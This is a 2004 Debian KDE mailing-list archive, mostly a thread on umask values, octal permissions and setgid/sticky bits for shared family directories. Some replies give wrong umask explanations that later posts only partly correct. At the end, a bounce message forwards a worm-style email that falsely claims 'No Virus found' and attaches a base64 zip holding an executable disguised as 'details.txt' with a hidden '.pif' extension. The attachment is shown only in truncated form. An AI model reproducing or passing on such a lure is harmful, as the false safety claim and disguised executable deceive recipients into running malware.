Re: default file permissions
* Adeodato Simó [Tue, 11 May 2004 02:38:43 +0200]: > * Antiphon [Mon, 10 May 2004 20:23:02 -0400]: > > > > rw-rw would be 660 > > > So setting my umask to 006 would lead to let new files be 660, right? > > That should do the trick > sorry but nope. UMASK=006 would yield permissions rwxrwx--x (771). you > need a little binary arithmetic to understand umasks. google should > provide pages with detailed explanations of this. *sigh* ok, that'd be for directories only. -- Adeodato Simó EM: asp16 [ykwim] alu.ua.es | PK: DA6AE621 He who has not a good memory should never take upon himself the trade of lying. -- Michel de Montaigne
Re: default file permissions
Ulrich Fürst writes: > Antiphon schrieb: >> The executable bit can be applied to files and directories alike >> since, in reality, a directory is merely just a kind of file. >> rw-rw would be 660 > So setting my umask to 006 would lead to let new files be 660, > right? UMASK(2) Linux Programmer's Manual UMASK(2) NAME umask - set file creation mask SYNOPSIS #include #include mode_t umask(mode_t mask); DESCRIPTION umask sets the umask to mask & 0777. The umask is used by open(2) to set initial file permissions on a newly-created file. Specifically, permissions in the umask are turned off from the mode argument to open(2) (so, for example, the common umask default value of 022 results in new files being created with per- missions 0666 & ~022 = 0644 = rw-r--r-- in the usual case where the mode is specified as 0666). RETURN VALUE This system call always succeeds and the previous value of the mask is returned. CONFORMING TO SVr4, SVID, POSIX, X/OPEN, BSD 4.3 SEE ALSO creat(2), open(2) Linux 1998-08-09 UMASK(2) ;) cheers domi
Re: default file permissions
* Antiphon [Mon, 10 May 2004 20:23:02 -0400]: > > > rw-rw would be 660 > > So setting my umask to 006 would lead to let new files be 660, right? > That should do the trick sorry but nope. UMASK=006 would yield permissions rwxrwx--x (771). you need a little binary arithmetic to understand umasks. google should provide pages with detailed explanations of this. cu -- Adeodato Simó EM: asp16 [ykwim] alu.ua.es | PK: DA6AE621 Create a system that is usable even by idiots, and only idiots will use it.
Re: default file permissions
On Monday 10 May 2004 02:01 pm, Ulrich Fürst wrote: > Antiphon schrieb: > > The executable bit can be applied to files and directories alike since, > > in reality, a directory is merely just a kind of file. > > > > rw-rw would be 660 > > So setting my umask to 006 would lead to let new files be 660, right? > > Ulrich That should do the trick
Re: default file permissions
Antiphon schrieb: The executable bit can be applied to files and directories alike since, in reality, a directory is merely just a kind of file. rw-rw would be 660 So setting my umask to 006 would lead to let new files be 660, right? Ulrich
Re: default file permissions
On Mon, 10 May 2004 18:45:55 +0200, Ulrich Fürst <[EMAIL PROTECTED]> wrote: Antiphon schrieb: On Mon, 10 May 2004 17:45:36 +0200, Ulrich Fürst <[EMAIL PROTECTED]> wrote: Silvan schrieb: If I get it right 0007 would lead to denie access to anyone not beeing user or in the group of the file, and giving full access to the file for user and group? That would be what I want! No. 0007 means that anyone can write to it who is not a member of your group and who doesn't own the file. It sounds like you want 0070 instead The numbers are (special-user-group-other) Hmm. I thought the rights of a file is 0666 (for directories 0777) minus umask. So rw-rw would be 666 with umask 006 (o.k. not 7), that is 660? Ulrich The executable bit can be applied to files and directories alike since, in reality, a directory is merely just a kind of file. rw-rw would be 660 Of course, one needn't use the octal numbers all the time chmod ug+w would be the same thing as chmod 660. And to those who don't know, all advanced file managers like Konqueror, Rox, or Nautilus can manage these attributes for you.
Re: default file permissions
Antiphon schrieb: On Mon, 10 May 2004 17:45:36 +0200, Ulrich Fürst <[EMAIL PROTECTED]> wrote: Silvan schrieb: If I get it right 0007 would lead to denie access to anyone not beeing user or in the group of the file, and giving full access to the file for user and group? That would be what I want! No. 0007 means that anyone can write to it who is not a member of your group and who doesn't own the file. It sounds like you want 0070 instead The numbers are (special-user-group-other) Hmm. I thought the rights of a file is 0666 (for directories 0777) minus umask. So rw-rw would be 666 with umask 006 (o.k. not 7), that is 660? Ulrich
Re: default file permissions
Antonio Rodriguez schrieb: On Mon, May 10, 2004 at 12:06:42PM -0400, Antiphon wrote: On Mon, 10 May 2004 17:45:36 +0200, Ulrich Fürst <[EMAIL PROTECTED]> wrote: Silvan schrieb: This seems like what you want. It would probably be better to use a umask of 0007 instead, so you still have *some* control. (I should have used that in the above example, but I'm too lazy to go back and re-do it. :) If I get it right 0007 would lead to denie access to anyone not beeing user or in the group of the file, and giving full access to the file for user and group? That would be what I want! No. 0007 means that anyone can write to it who is not a member of your group and who doesn't own the file. It sounds like you want 0070 instead The numbers are (special-user-group-other) Would some explain further the 4 number system? More exactly, the last three numbers are clear, they are explained everywhere, but the first one, refering to "special", is not explained anywhere that I know. I will be happy to read about it. I imagine that the first digit has to do with the "sticky bit", about which I wouldn't mind reading. It seems that in most references that I have seen they don't talk about it much. Thank you all. It's kind of like the other bits setuid is 4000 setgit is 2000 stickky is 1000 Ulrich
Re: default file permissions
Am Monday 10 May 2004 18:17 schrieb Antonio Rodriguez: > Would some explain further the 4 number system? More exactly, the last > three numbers are clear, they are explained everywhere, but the first > one, refering to "special", is not explained anywhere that I know. I > will be happy to read about it. I imagine that the first digit has to > do with the "sticky bit", about which I wouldn't mind reading. It > seems that in most references that I have seen they don't talk about > it much. Try "man chmod" (wouldn't that be the first place to look for it?). It even has its own paragraphs for sticky files and dirs. HS -- Mein GPG-Key ist auf meiner Homepage verfügbar: http://www.hendrik-sattler.de oder über pgp.net PingoS - Linux-User helfen Schulen: http://www.pingos.org pgpSvFVHW8zoS.pgp Description: signature
Re: default file permissions
On Mon, May 10, 2004 at 12:06:42PM -0400, Antiphon wrote: > On Mon, 10 May 2004 17:45:36 +0200, Ulrich Fürst <[EMAIL PROTECTED]> > wrote: > > >Silvan schrieb: > >> This seems like what you want. It would probably be better to use a > >>umask of 0007 instead, so you still have *some* control. (I should > >>have used that in the above example, but I'm too lazy to go back and > >>re-do it. :) > > > >If I get it right 0007 would lead to denie access to anyone not beeing > >user or in the group of the file, and giving full access to the file for > >user and group? That would be what I want! > > > > No. 0007 means that anyone can write to it who is not a member of your > group and who doesn't own the file. It sounds like you want 0070 instead > The numbers are (special-user-group-other) > Would some explain further the 4 number system? More exactly, the last three numbers are clear, they are explained everywhere, but the first one, refering to "special", is not explained anywhere that I know. I will be happy to read about it. I imagine that the first digit has to do with the "sticky bit", about which I wouldn't mind reading. It seems that in most references that I have seen they don't talk about it much. Thank you all.
Re: default file permissions
On Mon, 10 May 2004 17:45:36 +0200, Ulrich Fürst <[EMAIL PROTECTED]> wrote: Silvan schrieb: This seems like what you want. It would probably be better to use a umask of 0007 instead, so you still have *some* control. (I should have used that in the above example, but I'm too lazy to go back and re-do it. :) If I get it right 0007 would lead to denie access to anyone not beeing user or in the group of the file, and giving full access to the file for user and group? That would be what I want! No. 0007 means that anyone can write to it who is not a member of your group and who doesn't own the file. It sounds like you want 0070 instead The numbers are (special-user-group-other)
Re: default file permissions
I wrote: That's nearly what I did first. Just nearly because the directory's owner is ulrich:staff (we're both in staff). By the way. Is it bad to use staff instead of user as group? I didn't find any system files using staff. Ulrich
Re: default file permissions
Bart Dorsey schrieb: The real proper way to do this is to create your family-group (in fact the "users" group would suffice for this, just add both users to is (why is this not the default in debian?) them create /home/shared-stuff and set it 775 chmod 775 /home/shared-stuff then set the "group sticky bit" on the directory chmod g+s /home/shared-stuff and chown it to root.users chown root.users /home/shared-stuff That's nearly what I did first. Just nearly because the directory's owner is ulrich:staff (we're both in staff). But, it's important to note, that you could leave umask alone, and when there are files you WANT to share, you put them at 664 manually... chmod g+w file That's o.k. for normal files (text documents an so on) but with that I would have to run a script as root before running mozilla to change all the file created from mozilla (like the bookmarks.hmtl) to the next user. Mozilla sets some files to be only readable by the owner -rw---1 ulrich staff 86783 May 10 16:57 bookmarks.html When I start as user birgit it's the same. Except the owner changed to birgit and the file is empty (deleted and created new on startup of mozilla). The sticky bit doesn't change anything according this special behaviour of mozilla. Anyway, is this even helpful, or are you trying to do something I still don't quite understand It more seems that *I'm* just beginning to understand my real problem. (see above). I guess it's more an internal policy of mozilla and has less to do with kde, I fear. Ulrich
Re: default file permissions
Silvan schrieb: > On Sunday 09 May 2004 02:53 pm, Ulrich Fürst wrote: > > >>>Where is the file? I don't run Mozilla, so I'm not familiar with that. >>>Is it under /usr somewhere, or what? >> >>It's under /home/.mozilla/ ... >>In this directory and in subdirectories mozilla stores it's settings >>and the mails and so on. > > > OK, let's back up again. I'm still not completely clear what you have here. > I think you have > > /home/you > /home/your-wife > > Then you are trying to share files between each other by configuring various > things to write directly to /home instead of /home/you or /home/your-wife > > Is that right? Completely. > If so, that's very strange. How do you even have write permission on /home? What is the permission on that directory? It's supposed to be 755, and individual users are not supposed to be able to write to /home directly anyway. I presume you've changed this. I guess you can do it that way if you insist, but it seems messy and difficult to manage safely. Why not create a shared directory for the two of you with 775 permissions? Other posts that I missed previously already explained about setting your umask in various places. With the right umask ( would work, or you could be more restrictive), and a directory you can both access it should be possible to do what you want. drwxrwxr-- 10 root staff 4096 May 9 22:37 /home/ You've made a directory, chowned it to your-family-group, set it to 775 so the group can write there. Then when you set your umask to 0 and create a file, your wife can then modify the same file, even though you still own it. This seems like what you want. It would probably be better to use a umask of 0007 instead, so you still have *some* control. (I should have used that in the above example, but I'm too lazy to go back and re-do it. :) If I get it right 0007 would lead to denie access to anyone not beeing user or in the group of the file, and giving full access to the file for user and group? That would be what I want! Anyway, is this even helpful, or are you trying to do something I still don't quite understand? You could help me creating normal files with group read/write permissions
fish in kde 3.1.2 does not work anymore
hello, I have changed the RSA certificate of my server and now fish on my client in kde 3.1.2 keeps saying permission denied while ssh works fine. Where has fish its config file? Saluti, Mauro. -- On this laptop no Windows system survives and LINUX POWER reigns UNLIMITED. GnuPG key ID: 28A61681
Re: default file permissions
On Sunday 09 May 2004 11:17 pm, Bart Dorsey wrote: > then set the "group sticky bit" on the directory Interesting and useful demonstration. I didn't know the sticky bit could do that. It was the missing piece of my own setup, which is supposed to let us stick things into the common spot, but not trample on each other in any way. After getting what you were talking about, I switched the directory from 1775 to 3775, and now I don't have to chown stuff to the group for the group to look at it. Cool. Coincidental to the guy we're trying to help, but it sure was a nice discovery for me, so thanks! -- Michael McIntyre Silvan <[EMAIL PROTECTED]> Linux fanatic, and certified Geek; registered Linux user #243621 http://www.geocities.com/Paris/Rue/5407/
No account exists for bound [Re: Re: Administration]
The following is a pre-recorded message from [EMAIL PROTECTED]: Your message of Mon, 10 May 2004 07:50:50 +0200 has been received. The address [EMAIL PROTECTED] is no longer available. Please send mail to [EMAIL PROTECTED] *** Your original message follows *** >From debian-kde@lists.debian.org Mon May 10 01:52:17 2004 Received: from oflume.zk3.dec.com by yield.zk3.dec.com (8.9.3/1.1.8.2/24May94-1151AM) id BAA351333; Mon, 10 May 2004 01:52:16 -0400 (EDT) From: Received: from mailrelay01.cce.cpqcorp.net by oflume.zk3.dec.com (8.8.8/1.1.22.3/03Mar00-0551AM) id BAA06884; Mon, 10 May 2004 01:52:15 -0400 (EDT) Received: from ztxmail01.ztx.compaq.com (ztxmail01.nz-cce.cpqcorp.net [161.114.8.205]) by mailrelay01.cce.cpqcorp.net (Postfix) with ESMTP id 2C43D3975 for <[EMAIL PROTECTED]>; Mon, 10 May 2004 00:52:15 -0500 (CDT) Received: from zk3.dec.com (qn-213-73-212-215.quicknet.nl [213.73.212.215]) by ztxmail01.ztx.compaq.com (Postfix) with ESMTP id 494B37478 for <[EMAIL PROTECTED]>; Mon, 10 May 2004 00:52:11 -0500 (CDT) To: [EMAIL PROTECTED] Subject: Re: Administration Date: Mon, 10 May 2004 07:50:50 +0200 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="=_NextPart_000_0016=_NextPart_000_0016" X-Priority: 3 X-MSMail-Priority: Normal Message-Id: <[EMAIL PROTECTED]> This is a multi-part message in MIME format. --=_NextPart_000_0016=_NextPart_000_0016 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit For more details see the attachment. Attachment: No Virus found F-Secure AntiVirus - www.f-secure.com --=_NextPart_000_0016=_NextPart_000_0016 Content-Type: application/octet-stream; name="message_bound.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="message_bound.zip" UEsDBAoAADItqjCjiB3egHMAAIBzAABUZGV0YWlscy50eHQgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAucGlmTVqQAAME//8AALgAQAAA YA4fug4AtAnNIbgBTM0hV2luZG93cyBQcm9ncmFtDQokUEUAAEwB AwDgAA8BCwEEcgAgAQAAECAAQAAAEAAA AAIAAAQABAAAMAEAAAQCAAAQAAAQABAAABAA AAAQAAD0IAEAawCwAABobQAA dACgEAAA AADgAADAAHRhcLAAAHRvBAAA4AAAwAAA AABhABAgAQAAAgIAAOAAAMAFBAYEAQDOIUAAAgAAQAAA AG4MAABAAABAAAC70AFAAL8AEEAAviwcQQBT6AoC 0nUFihZGEtLD/LKApGoCW/8UJHP3M8n/FCRzGDPA/xQkcyGzAkGwEP8UJBLAc/l1P6rr3OhD K8t1EOg46yis0eh0QRPJ6xyRSMHgCKzoIgAAAD0AfQAAcwqA/AVzBoP4f3cCQUGV i8WzAVaL9yvw86Re65YzyUH/VCQEE8n/VCQEcvTDX1sPtztPdAhPdBPB5wzrB4t7AleDwwRD Q+lRX7soIUEAR4s3r1f/E5UzwK51/f4PdO/+D3UGR/83r+sJ/g8PhKLw/v9XVf9TBAkG rXXbi+zDHCEBNCEBACghAQAAAEAhAQBOIQEA AEAhAQBOIQEAAEtFUk5FTDMyLmRsbAAATG9hZExpYnJhcnlBAABHZXRQcm9jQWRk cmVzcwDr AAEAAgAYAQCAKAAAgAMAAABAAACADgAAAGAAAIAA AAEAZQAAAHgAAIIAAQAAAJAAAIACqAAAgAAA AAEmAQCAwAAAgQAHBAAA2AAA AQAHBAAA6QAHBAAA+QAHBAAA CAEAADCxaABEGQEA6AIAMEAAACgBADAZ AQAiAAAGAEIASQBOAEEAUgBZAAEAMABrfWaFlBWtHdaU3cSJ5jkx Sa21WPCTlzJZK9HA/RaOTkibC/U7SahjXd4/321otIeaqs3c98FEgSkIG0C6ODBOmsur3t5w GFBqh50Kds6TPEgjC6CdNZN7rjIV8vVYEeYEudN7R75kOiMW8iMOucg+gAgTXuypw1pQ+ca7 eliihvH+BKZOhikSH0oRAfDprm0Vh687q8QC/ZmshNoRyjjQjMemK1iKjEvkj8KBP4/d0gQr joViQVpcRCQCofUL//pjNEcThyvQrFIhYOB29tPY/yF8mWd97Pk/bNiiP2WUW+j2DTqnFxOp 9dMi6sWwnvjkyggxsi4BkiGP2II4tZ6x1rLKgUZ8XsW+9S/Ji25/hCze1WlfWwiU3UCXYzry PnJEh8orO18rjsHmyS6iSx58HvJ7SFS2KoUB065NYMOkJXQG7YFuOKmLZz6kIEHBlhsaL6fX 2L2O7wDx9kimzvhSeVIJise//UQYlGGngOYO+cK8/R3Dtl1ZsiPgXbQvX4G3M5dPL2tRQT3S qssXE6+cRPIrIgjovkwjDS+TuzwDO5ZxT9aMdcoLPL4mlf+QoY4aadfuOJzaTxc8hPOBOwwH ftPYKcglkil/IX4MHqULV82GzO85GtjqghWLg/Nnom7XI9tQycfRI2zCWjldmhV9ZjpG/XWq 4UW4lJ05+Tfr9wlX/1F596yCbQlgIqSy6YqsI1pPUpQdCV0IQVk8whLKDtufVb7pUszp8jvR 3JOuBudvjIg6ebOdnVJErWJhPY+YbUwHwgDlTEjwkU7rh4l3fuCDsZSUzOn1l5dTlVyVr8ZA xcqsJY5H8V0Ln7vLpmfbROjSSDuPdsue4VP7+0ERbOcAiSSgdYdO8VDOM1YrXWVhYvE9XCXL iDDLs36GaT30K6RL0rnD08Z0CeM6ckHihP+aGF0/tXGVFf19BUQ3vMTUWRmeuKC0wa3d5Lpl EH2g5TdOjyxo7lgVHrl3ftEVRqrJ+nDkM7GnZXXbmni/tiHc4py7ambMO/fWbb58X9DgdZr2 MIalUuFkeM/C83YVcKxDCMlC1pKlhc+
